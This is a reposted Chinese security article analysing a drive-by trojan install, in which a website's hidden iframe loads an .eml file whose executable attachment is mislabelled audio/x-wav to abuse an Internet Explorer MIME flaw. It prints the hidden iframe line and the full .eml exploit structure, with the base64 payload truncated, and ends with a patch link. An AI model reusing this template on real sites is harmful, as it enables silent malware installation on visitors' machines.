软件工程

本类阅读TOP10

·PHP4 + MYSQL + APACHE 在 WIN 系统下的安装、配置
·Linux 入门常用命令(1)
·Linux 入门常用命令(2)
·使用 DCPROMO/FORCEREMOVAL 命令强制将 Active Directory 域控制器降级
·DirectShow学习(八): CBaseRender类及相应Pin类的源代码分析
·基于ICE方式SIP信令穿透Symmetric NAT技术研究
·Windows 2003网络负载均衡的实现
·一网打尽Win十四种系统故障解决方法
·数百种 Windows 软件的免费替代品列表
·收藏---行百里半九十

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
一种危险的木马植入方法

作者:未知 来源:月光软件站 加入时间:2005-2-28 月光软件站

一种危险的木马植入方法
  

backlighting 
[email protected] 

   今天在www.xfocus.net安全论坛上看见有帖子说www.maylu.com登录这个网站后会自动下载一个start.exe的程序并自动运行。于是上到这个网站上看了一下, 
   打开IE浏览器:在地址栏中输入:http://www.maylu.com/index.asp 
在网页打开的过程中鼠标奇怪的变成沙漏的状态,看来的确是有程序在运行。打开计算机的任务管理器,可以看到多了一个start.exe的进程。进程对应的文件是\winnt\system32\start.exe(在我的win2000上是这样)并且start.exe已经将自己登记在注册表开机启动项中。这样每次开机都会运行start.exe。 
   start.exe运行后占有系统资源,不断的向外发送数据,用sniffer看了一下,还好,发送的都是HTTP请求,仔细检查系统也没发现什么其他损害的地方。看来木马并不是恶意的。 
   让我感兴趣的是木马是如何下载到浏览主页的用户的计算机上并运行起来的。于是和teawater一块研究了一下。定制了一下IE的安全级别,将ActiveX支持等都全部关掉,再浏览网页,还是下载并运行了。看来和ActiveX无关。把IE的安全级别中文件下载禁止了,再上去,这回不让再下载了。 
   看来还是看看这程序是如何下载到自己计算机上的,打开问题网页的源代码看了看,网页代码最后面有这么一句话。 
    <iframe src=t.eml width=1 height=1> 

网页中干吗要有.eml文件,这不是邮件的格式吗。在IE浏览器中输入 

http://www.maylu.com/t.eml 

再看看任务管理器,start.exe进程有回来了,原来问题就在这个文件上。既然问题在这文件上,当然想办法搞到这个文件看看了。用蚂蚁把文件下载下来 
   鼠标刚点上去,start.exe又被执行了。 
  用uedit7打开内容看看,内容入下 

From: "xxx" <[email protected]> 
To: "xxx" <[email protected]> 
Subject: xxxx 
Date: Tue, 7 Apr 2001 15:16:57 +800 
MIME-Version: 1.0 
Content-Type: multipart/related; 
    type="multipart/alternative"; 
    boundary="1" 
X-Priority: 3 
X-MSMail-Priority: Normal 
X-Unsent: 1 

--1 
Content-Type: multipart/alternative; 
    boundary="2" 


--2 
Content-Type: text/html; 
    charset="gb2312" 
Content-Transfer-Encoding: quoted-printable 

<HTML> 
<HEAD> 
</HEAD> 
<BODY bgColor=3D#ffffff> 
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe> 

</BODY> 
</HTML> 

--2-- 

--1 
Content-Type: audio/x-wav; 
    name="start.exe" 
Content-Transfer-Encoding: base64 
Content-ID: <THE-CID> 

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAIh3BDsAAAAAAAAAAOAADwELAQQUACAAAAAQAAAAkAAAIL0AAACgAAAAwAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAADQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHDGAACcAAAAAMAAAHAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......(删掉一大节) 

--1 

后面的不管它,那就是start.exe经过base64编码的内容。 
关键是前面这一段 

Content-Type: audio/x-wav; 
    name="start.exe" 

把start.exe的的类型定义为audio/x-wav,这下清楚了,这是利用客户端支持的 MIME(多部分网际邮件扩展,Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型为audio/x-wav时,IE存在的一个漏洞会将附件认为是音频文件自动尝试打开,,结果导致邮件文件t.eml中的附件start.exe被执行。在win2000上,即使是用鼠标点击下载下来的t.eml,或是拷贝粘贴,都会导致t.eml中的附件被运行,微软的这个漏洞可害人不浅啊。 
  还好这个start.exe没有什么恶意,只是想利用用户帮自己赚点广告费而已。虽然这做法有点卑鄙,不过还是可以原谅。话又说回来,要是这里面运行的是一个木马或者是一个恶意程序的话有如何......。 

赶快打补丁吧 
http://www.microsoft.com/windows/ie/download/critical/Q290108/default.asp 



相关文章

相关软件